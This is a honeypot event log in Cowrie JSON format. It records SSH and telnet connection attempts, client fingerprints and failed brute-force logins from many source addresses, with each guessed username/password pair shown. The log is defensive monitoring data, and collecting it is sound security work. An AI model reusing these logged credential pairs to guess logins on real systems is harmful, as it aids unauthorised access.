{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37884,"dst_ip":"10.17.0.5","dst_port":23,"session":"571098fc2c1f","protocol":"telnet","message":"New connection: 45.81.23.16:37884 (10.17.0.5:23) [session: 571098fc2c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:43.602065Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":15092,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef5d646fd789","protocol":"ssh","message":"New connection: 177.85.247.230:15092 (10.17.0.5:22) [session: ef5d646fd789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:44.702617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:44.709557Z","src_ip":"177.85.247.230","session":"ef5d646fd789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:44.812178Z","src_ip":"177.85.247.230","session":"ef5d646fd789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"csserver","message":"login attempt [csserver/csserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:45.249022Z","src_ip":"177.85.247.230","session":"ef5d646fd789","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:45.293292Z","src_ip":"14.103.127.97","session":"0323af34b365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:45.300658Z","src_ip":"14.103.127.97","session":"0323af34b365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:46.354603Z","src_ip":"177.85.247.230","session":"ef5d646fd789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":50298,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee0cd5a9be7","protocol":"ssh","message":"New connection: 186.10.86.130:50298 (159.203.135.109:22) [session: fee0cd5a9be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:46.548542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:46.553459Z","src_ip":"186.10.86.130","session":"fee0cd5a9be7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:46.696835Z","src_ip":"186.10.86.130","session":"fee0cd5a9be7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sql","message":"login attempt [ubuntu/sql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:47.302808Z","src_ip":"186.10.86.130","session":"fee0cd5a9be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:48.448735Z","src_ip":"186.10.86.130","session":"fee0cd5a9be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.8816876411438,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:50.467261Z","src_ip":"192.211.53.160","session":"8fbdf925eb68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.12588405609131,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:50.858614Z","src_ip":"65.60.27.33","session":"59ef50e55e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.917942762374878,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:51.449291Z","src_ip":"45.81.23.16","session":"6ab6e9438811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35610,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb0daaf4a9a","protocol":"telnet","message":"New connection: 38.54.119.93:35610 (10.17.0.5:23) [session: fdb0daaf4a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:58.138188Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":56888,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d36857e7083","protocol":"ssh","message":"New connection: 152.32.162.42:56888 (10.17.0.5:22) [session: 2d36857e7083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:00.926773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:00.932036Z","src_ip":"152.32.162.42","session":"2d36857e7083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:01.183263Z","src_ip":"152.32.162.42","session":"2d36857e7083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4r5","message":"login attempt [admin/1q2w3e4r5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:02.227903Z","src_ip":"152.32.162.42","session":"2d36857e7083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:03.495024Z","src_ip":"152.32.162.42","session":"2d36857e7083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":57856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3c76cc597ec","protocol":"telnet","message":"New connection: 45.81.23.16:57856 (10.17.0.5:23) [session: f3c76cc597ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:04.521263Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41564,"dst_ip":"10.17.0.5","dst_port":23,"session":"f35feb770acf","protocol":"telnet","message":"New connection: 38.54.119.93:41564 (10.17.0.5:23) [session: f35feb770acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:07.072330Z"}
{"eventid":"cowrie.session.closed","duration":38.225465059280396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:12.189811Z","src_ip":"65.60.27.33","session":"50abda7c414a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.4502215385437,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:14.512776Z","src_ip":"65.60.27.33","session":"b528d634e7ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":36924,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f3566b8798","protocol":"ssh","message":"New connection: 186.113.245.157:36924 (10.17.0.5:22) [session: f7f3566b8798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:15.069554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:15.080535Z","src_ip":"186.113.245.157","session":"f7f3566b8798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:15.176602Z","src_ip":"186.113.245.157","session":"f7f3566b8798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottest","message":"login attempt [root/roottest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:15.567002Z","src_ip":"186.113.245.157","session":"f7f3566b8798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":51660,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1b4faf03690","protocol":"ssh","message":"New connection: 191.101.59.69:51660 (159.203.135.109:22) [session: c1b4faf03690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:16.119226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:16.123851Z","src_ip":"191.101.59.69","session":"c1b4faf03690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:16.212529Z","src_ip":"191.101.59.69","session":"c1b4faf03690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":48256,"dst_ip":"10.17.0.5","dst_port":23,"session":"f31a82f36466","protocol":"telnet","message":"New connection: 45.81.23.16:48256 (10.17.0.5:23) [session: f31a82f36466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:16.423562Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwedsa@123","message":"login attempt [ubuntu/qwedsa@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:16.600823Z","src_ip":"191.101.59.69","session":"c1b4faf03690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:16.665829Z","src_ip":"186.113.245.157","session":"f7f3566b8798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:17.693554Z","src_ip":"191.101.59.69","session":"c1b4faf03690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.548035383224487,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:18.069192Z","src_ip":"45.81.23.16","session":"f3c76cc597ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.997720003128052,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:26.421153Z","src_ip":"45.81.23.16","session":"f31a82f36466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.562833070755005,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:27.164789Z","src_ip":"45.81.23.16","session":"571098fc2c1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.91542339324951,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:31.416107Z","src_ip":"45.81.23.16","session":"545d2eda618f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.81297945976257,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:34.385594Z","src_ip":"45.81.23.16","session":"35163d695246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42780,"dst_ip":"159.203.135.109","dst_port":22,"session":"98a0370859ca","protocol":"ssh","message":"New connection: 60.199.224.2:42780 (159.203.135.109:22) [session: 98a0370859ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:36.416613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:36.420884Z","src_ip":"60.199.224.2","session":"98a0370859ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:36.620331Z","src_ip":"60.199.224.2","session":"98a0370859ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"userftp2023","message":"login attempt [userftp/userftp2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:37.447131Z","src_ip":"60.199.224.2","session":"98a0370859ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":63558,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f183c083da5","protocol":"ssh","message":"New connection: 115.68.208.117:63558 (10.17.0.5:22) [session: 5f183c083da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:37.946762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:37.951549Z","src_ip":"115.68.208.117","session":"5f183c083da5","protocol":"ssh"}
